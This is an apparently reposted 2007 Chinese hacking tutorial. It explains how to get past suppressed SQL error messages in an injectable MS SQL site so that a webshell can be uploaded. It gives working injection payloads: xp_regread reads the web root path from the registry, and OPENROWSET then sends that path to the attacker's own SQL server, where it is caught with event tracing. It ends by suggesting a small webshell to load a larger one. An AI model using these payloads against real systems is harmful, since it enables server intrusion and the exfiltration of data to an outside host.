打印本文 打印本文 关闭窗口 关闭窗口
突破SQL错误提示上传webshell
作者:武汉SEO闵涛  文章来源:敏韬网  点击数1170  更新时间:2007/11/14 13:06:38  文章录入:mintao  责任编辑:mintao

作者:疯狗   http://www.cnbct.org/

得到SQL注入点,首先想到的是BACKUP WEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.
联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看返回的结果,但是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~
首先在自己机器建立SQL数据库

然后在对方机器上建立个表 create table [dbo].[fenggou]([cha8][char](255))--

在对方执行 DECLARE @result varchar(255) exec master.dbo.xp_regread ''''HKEY_LOCAL_MACHINE'''',''''SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots'''', ''''/'''' ,@result output insert into fenggou (cha8) values(''''SELECT a.* FROM OPENROWSET(''''''''SQLOLEDB'''''''',''''''''自己的IP'''''''';''''''''sa'''''''';''''''''你的密码'''''''', ''''''''SELECT * FROM pubs.dbo.authors where au_fname='''''''''''''''''''' + @result + '''''''''''''''''''''''''''')AS a'''');--

这样fenggou这个表里就会有这样一条记录SELECT a.* FROM OPENROWSET(''''SQLOLEDB'''',''''自己的IP'''';''''sa'''';''''你的密码'''', ''''SELECT * FROM pubs.dbo.authors where au_fname=''''''''D:\WEB,,1'''''''''''')AS a

不用说,''''''''D:\WEB"就是从注册表里读出的物理路径拉.然后执行DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM fenggou) exec (@a1);--

等于执行了SELECT a.* FROM OPENROWSET(''''SQLOLEDB'''',''''自己的IP'''';''''sa'''';''''你的密码'''', ''''SELECT * FROM pubs.dbo.authors where au_fname=''''''''D:\WEB,,1'''''''''''')AS a

OK,这时你在你机器上SQL事件追踪器上就会显示SELECT * FROM pubs.dbo.authors where au_fname=''''D:\WEB,,1''''
哇 哈哈哈哈哈 物理路径到手了 写小马传大马吧~
PS:如果出错的话转换为16进制试试哈.以上是在偶渗透失败,无奈的时候想的办法,也许高人早就知道了吧,笑过~

打印本文 打印本文 关闭窗口 关闭窗口